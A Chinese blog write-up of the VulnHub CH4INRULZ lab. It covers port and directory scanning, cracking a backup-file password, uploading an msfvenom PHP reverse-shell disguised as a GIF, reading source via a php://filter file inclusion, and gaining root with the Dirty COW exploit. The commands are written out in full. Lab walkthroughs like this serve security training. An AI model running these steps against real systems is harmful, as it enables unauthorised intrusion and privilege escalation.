CSDN

vulnhub CH4INRULZ靶场

2023-12-14 12:36 由 羲和跃明 发表于 #其他

1.信息收集

扫描主机

sudo arp-scan -l

扫描端口

nmap -p- 192.168.42.151

查看端口服务

nmap -A -sV -p 21,22,80,8011

21端口 ftp 没有有效信息，所以重点在80，8011

2.漏洞挖掘

开始网站浏览

没找到有用信息，开始网站目录搜索

192.168.42.151/api/

dirb http://192.168.42.151

既然有开发网站，又有开发服务器，那是不是可能会有备份文件

dirb http://192.168.42.151 -X .bak

查看源代码，发现敏感目录,登录账号

cat index.html.bak

192.168.42.151/development/

发现密码格式不对，暴力破解密码成功
john 1.txt

登录deve界面，读题发现上传。

访问/api页面，发现文件包含漏洞，尝试利用

3.漏洞利用

找到上传口

192.168.42.151/development/uploader/

msf生成php木马

msfvenom -p php/reverse_php lhost=192.168.42.151 lport=8888 -o shell.php

是反弹shell,写自己地址

改前面GIF98，后缀.gif

木马上传成功

找不到上传路径，继续文件包含

尝试读取源代码

php伪协议

尝试读取源代码

file=php://filter/convert.base64-encode/resource=/var/www/development/uploader/upload.php

得到源代码，发现上传路径

<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
  $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
  if($check !== false) {
    echo "File is an image - " . $check["mime"] . ".";
    $uploadOk = 1;
  } else {
    echo "File is not an image.";
    $uploadOk = 0;
  }
}
// Check if file already exists
if (file_exists($target_file)) {
  echo "Sorry, file already exists.";
  $uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
  echo "Sorry, your file is too large.";
  $uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
  echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
  $uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
  echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
  if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
    echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
  } else {
    echo "Sorry, there was an error uploading your file.";
  }
}
?>

用文件包含目录调用木马

file=/var/www/development/uploader/FRANKuploads/shell.gif

反弹shell

4.提升权限

查看内核版本，内核提权

uname -a

在漏洞库中查找（脏牛提权）

searchsploit dirty

下载提权脚本

searchsploit -m linux/local/40839.c

上传脚本（nc 上传）

攻击机

受害机

在受害机编译脚本

gcc -pthread dirty.c -o dirty -lcrypt

执行脚本（可以先看看有没有执行权限）

./dirty 123456

看见firefart用户就成功

提权成功

su firefart

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